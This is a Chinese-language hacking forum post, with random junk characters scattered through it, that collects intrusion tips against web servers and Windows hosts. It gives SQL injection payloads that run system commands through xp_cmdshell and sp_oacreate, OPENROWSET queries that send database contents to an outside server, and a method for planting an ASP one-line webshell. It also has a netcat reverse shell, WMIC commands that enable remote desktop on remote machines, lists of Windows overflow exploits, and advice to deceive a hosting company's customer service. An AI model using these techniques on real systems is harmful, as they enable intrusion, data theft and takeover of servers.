SA点数据库分离技术相关& B; S! j+ v8 i$ p2 Q6 N) ]0 O" ^
; F r8 j, ]: e9 b
2 |% q. t. b4 H$ G5 V+ jSA点数据库分离搞法+语句:
, W5 t: q6 W; }# y4 {1 E7 V5 E) c1 a2 j, h
注射点不显错,执行下面三条语句页面都返回正常。
- T( c1 ~# V' t) ]2 Wand 1=(select count(*) FROM master.dbo.sysobjects where name= 'xp_regread')
4 |" S; q5 \4 [# d& Q; Sand 1=(select count(*) FROM master.dbo.sysobjects where name= 'sp_makewebtask')
: e, \: s0 S( s/ Fand 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')
) ?' d. w, ^! L+ v2 E可以列目录，判断系统为2000，web与数据库分离( y& N y% q9 N+ x n2 s; l. V9 ?- |
遇到这种情况首先要想办法得到数据库IP来进行下一步得渗透了。 b, Y% M5 [7 x) v4 `; Y
在注射点上执行9 [0 [. a2 Z+ }
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd /c net user ';--
6 A8 g; x; _' o5 J3 T2 Y页面返回正常，通过上面这个命令执行telnet我一个外网肉鸡得1433端口，然后netstat/an没有得到IP
! h+ L$ e+ A. O h, n' ]还有我用NC监听得其他端口都没有得到IP。
& O) X( K& t' d0 d% a4 @
6 Z* G+ c4 H0 i' _% X通过注射点执行下面这两个命令页面都返回异常，在肉鸡上面同样也是没有得到IP。 e5 x# o2 E: V
'insert into opendatasource('sqloledb','server=xxx.xxx.xxx.xxx;uid=sasa;pwd=sasa;database=tempdb').tempdb.dbo.temp select name from master.dbo.sysdatabases--
?0 P, L0 c; P c: j+ ?$ A) y2 n7 z( P
;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=pass;Network=DBMSSOCN;Address=xxx.xxx.xxx.xxx,1433;', 'select * from dest_table') select * from src_table;--( Q, T5 E' a; [0 F3 D; J8 t
, Z8 R7 [$ x& P8 S7 d
现在就猜想是不是数据库是内网而且不能连外网。
8 M2 m k( M: R6 [5 E8 ~" t' B4 i( c* {# m
, M+ l) H$ S8 d
access导出txt文本代码% d+ D# J+ K7 W" s7 Z O: I& O
SELECT * into [test.txt] in 'd:\web\' 'text;' from admin
! y/ ]6 ]$ i- [, {1 g5 b2 e- m) _/ ?7 x; \- I( C0 C
( R1 Q. y H% G8 \; B& ?- t0 W
: e% m7 m* ~( b
自动跳转到指定网站代码头
9 d3 ?3 u. N1 S: `; u<body onload='vbscript:document.links(0).href="http://www.google.com":document.links(0).innerHTML="www.sohu.com"'>
! A5 R( n* ~+ Z) k1 u {% y" [4 \/ M) q
6 p. g( M/ C7 q- o6 O入侵java or jsp站点时默认配置文件路径:" v6 k* R9 {3 ]/ N- }6 j$ p! U& q
\web-inf\web.xml
Q6 n0 i: z; q$ etomcat下的配置文件位置:
& o3 \0 d8 B& U+ Q9 }\conf\server.xml (前面加上tomcat路径)
" r% d& \% R6 V) M. O+ k- ~\Tomcat 5.0\webapps\root\web-inf\struts-config.xml8 t, p6 M8 k3 L: u9 n0 U
2 h0 X% G' A4 R# ^4 D" [ v. l9 {
7 d7 t J5 @) ?# N( v6 R. a; l0 l( J" o0 @) m: k
检测注入点新方法运算符法,在过滤了and or cookies时用比有效果:
$ z" ~7 @+ n: i9 K; r" x-1%23
/ R# G2 c, w: Y% Q$ l; x+ p0 Y4 h>
/ G! [' G7 g0 S5 z<8 ~6 G+ U- T2 X0 C' q
1'+or+'1'='1
/ P( J m0 Y9 d; `5 V7 y( Aid=8%bf2 E5 u. u }) _4 \
+ @) y, M, x! }7 j) I: @" p$ s全新注入点检测试法:
' u- a4 W# G) r9 P- h6 u* p在URL地址后面加上-1，URL变成：http://gzkb.goomoo.cn/news.asp?id=123-1，如果返回的页面和前面不同，是另一则新闻，则表示有注入漏洞，是数字型的注入漏洞;在 URL地址后面加上 -0，URL变成 http://gzkb.goomoo.cn/news.asp?id=123-0，返回的页面和前面的页面相同，加上-1，返回错误页面，则也表示存在注入漏洞，是数字型的。
4 z4 d. e# A' O
: o4 i \) ^2 h' {2 d; c) M4 [& m在URL的地址后面加上'%2B'，URL地址变为：http://gzkb.goomoo.cn/news.asp?id=123'%2B'，返回的页面和1同;加上'2%2B'asdf，URL地址变为：http://gzkb.goomoo.cn/news.asp?id=123'%2Basdf，返回的页面和1不同，或者说未发现该条记录，或者错误，则表示存在注入点，是文本型的。
5 A* }9 u: g( o6 G6 Y
) ^ X. {4 a: p: v# y2 X8 E9 ~ ^+ m搜索型注入判断方法:
$ u: N+ \3 m8 J北京%' and '1'='1' and '%'='$ {' l2 F. N" ^; Z5 g8 C5 c% i
北京%' and '1'='2' and '%'='
; c; ]( R% z- f/ W# j1 \! s4 K7 g3 y, C3 K, v' w( U$ E7 U1 g
& n" i+ L! w# o/ R: u/ Z1 k7 M, x
COOKIES注入:8 u# r& u5 f$ n) C
n% A. M5 p: ]javascript:alert(document.cookie="id="+escape("51 and 1=1"));
7 Q: B. O6 }" p* o; d6 E! `) ]4 d7 r8 c# P3 ~
2000专业版查看本地登录用户命令:. Q$ [! P2 G) s& {, s! H
net config workstation8 |2 V0 B1 a* z5 Q* j2 g
( d0 d3 Y4 u) H- x% @9 q7 K) B! @, e
2003下查看ipsec配置和默认防火墙配置命令:
; t. i6 o; Q6 r: ~* jnetsh firewall show config& [, [0 h1 m7 ?+ g; j5 h; j
netsh ipsec static show all/ p, t% Z+ ~, z; C
; o( x! C' j2 n4 h5 f
不指派指定策略命令:' [3 F4 H% F# r+ _0 T
netsh ipsec static set policy name=test assign=n (test是不指派的策略名)
, T7 ~: ]( [7 [* Z. x& H8 wnetsh ipsec static show policy all 显示策略名( v( K: f Q$ g& i0 {
* e- B, Z& v* f* Z4 u: [: Q
4 o2 P% u% U" f& ?) Y猜管理员后台小技巧:
J$ O4 |! D3 X! s, Wadmin/left.asp $ H9 L: o' @% s; T% X& C
admin/main.asp
& b# w3 |" ]% y3 O: Badmin/top.asp
8 l) ]$ h) _6 d) z. u+ Z& [ Yadmin/admin.asp
# J# D) S) V- k) R- Y# r# j会现出菜单导航,然后迅雷下载全部链接
) u$ U/ [, P' r' E8 x: S) S7 E& y. A1 @* V+ e F( S
' z5 G9 Z0 P" U社会工程学:
3 A" ^- R& l) ?7 ^6 W用这个查信息 http://tool.chinaz.com/ Whois查域名注册人和维护人+ z& _; s3 P5 w/ w
然后去骗客服
# `# V" U/ b4 Y; t" G$ ?2 Q/ Y! c# H' P2 o, H
- a- W" [7 Q% o# K* M
统计系统使用的是IT学习者的统计系统，在网上下载了一套回来研究。这样的系统拿webshell一般就二种：1.数据库插一句话木马，客户端连接得到。2.网站配置页面写入木马代码拿webshell。打开数据库目录，发现数据库扩展名是asp的，默认路径:data/#ITlearner.asp,把数据库扩展名改成*.mdb，用明小子的数据库工具打开，发现有防下载的表。管理员的默认密码是：ITlearner。数据库插一句话木马这条路是走不通了，现在只有看第二种方法看行不。输入默认密码进入 http://www.cnc-XX.com/admin/cutecounter /admin.asp?action=ShowConfig,查看原代码： 8 K! f7 Q8 H/ e# O* J
查找 修改maxlength="3"为maxlength="100">这里是为了突破固定长度的字符输入。然后查找 处 修改为action="http://www.cnc-XX.com/admin/cutecounter/admin?Action=SaveConfig">， % v' ]2 k* n, T4 ]/ m
存为html文件打开后在最后详细来访信息记录多少条记录，默认为100条框输入100:eval request(chr(35))，点击保存。提示无法找到，结果发现。1 {# _7 y r4 w
/ B8 }! d* y! f! a* d1 Z1 s% A( p% D" ]
. i3 b3 n# n0 v9 C+ P6. 554端口 用real554.exe入侵。 6129端口 用dameware6129.exe入侵。 系统漏洞 利用135、445端口，用ms03026、ms03039、ms03049、ms04011漏洞， 进行溢出入侵。 3127等端口 可以利用doom病毒开的端口，用nodoom.exe入侵。（可用mydoomscan.exe查）, l0 O# [+ ]6 d; ^1 C/ W
( q6 T+ _- G) p: u+ N: e
3 H3 W8 u$ p/ e G" h' Q$ Y, }. {( K$ ~, c
CMD加密注册表位置
$ q) y5 ]$ q; s0 ?0 q# D' b/ C3 p, H(1)HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor: D5 ?! v6 K6 E4 V- R8 X
AutoRun
$ q4 q+ u. b4 F8 d# _3 c1 E" v
8 G, x, [+ l% K! l2 C$ y& K! u(2)HKEY_CURRENT_USER\Software\Microsoft\Command Processor0 x% P- I- `! [! y: a# F/ c6 p
AutoRun# v. r; @/ @: D/ z; U- p
. G M" I9 t/ h3 i; ^1 M( {0 G; B$ D5 N* h5 b" E# n/ m/ E
在找注入时搜索Hidden,把他改成test! m" o: f G0 e( r6 ? B
4 b2 Z8 I3 G/ S. O4 e$ {
6 ?$ c8 i5 q/ V/ f; c, a$ Y0 F9 U2 V, X/ Z9 Y* M6 r
mstsc /v:IP /console
+ z+ C3 g8 H9 e$ _1 _2 N9 b6 h3 d' a% f+ k) B! d
. n$ E7 S6 Q K一句话开3389: k l0 y. I7 `
* V0 ^5 W! b6 i
最近我在网上看到新出了一种方法,一句话开3389,不过好像听说只能用于2003系统,唉,还是写出来和大家分享一下吧.很简单的,wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 adh=Kp e!w 8 kw`=wSH> * e: y0 b) ~/ l; C) E( e' k) @; u
开远程：WMIC /node:"远程机器名" /user:"administrator" /password:"lcx" RDTOGGLE WHERE ServerName='远程机器名' call SetAllowTSConnections 1 就是这样了,其实还有其他的一些方法开2003的3389,我这里也不多作介绍了,大家有空上网一查就知道了.- k1 s9 L( |4 _; z* t6 b
, ?- L9 g5 o, K5 O2 Q$ J2 E: V3 a, O* ?4 \# ?( h9 V' }
知道表名，字段，使用SQL语句在ACCESS数据库中加个用户名及密码语句如下:7 Z E# D/ \5 @4 }. L( H
Insert into admin(user,pwd) values('test','test')
1 S; b# r! ^+ K) e0 U7 i* U" [. i* b M R% y
* `0 q5 s" L! c; N7 I. P7 w! g
NC反弹
9 ?& o- F: Z/ @先在本机执行： nc -vv -lp 监听的端口 (自己执行) * M, i3 C9 ^4 j1 W0 D( b
然后在服务器上执行： nc -e cmd.exe 自己的IP 和监听的端口 (对方执行)
( X: V0 ]% [5 \3 }, h! Q1 q) V# I1 X2 w/ J5 d
' k" ^! E% U$ p; [7 V8 @7 @, W2 L
在脚本入侵过程中要经常常试用%00来确认下参数是否有问题7 i$ |2 C4 w5 ^6 L/ m. b
6 M: A/ d' j* }$ d+ A
有时候我们入侵的时候，在webshell没有办法列举网站的目录包括dir也不行的时候，这个时候可以尝试用DOS命令SUBST转移目录
2 ~+ B1 K# p( m% f* D例如:2 g( T% ?) |0 C! W8 q% L W
subst k: d:\www\ 用d盘www目录替代k盘
) k! Z% b# o; n6 j1 U3 s+ X& V9 G5 dsubst k: /d 解除K盘代替 |
匿名
发表于 2017-12-20 02:36:51
发表于 2012-9-15 14:41:29
收藏
支持
反对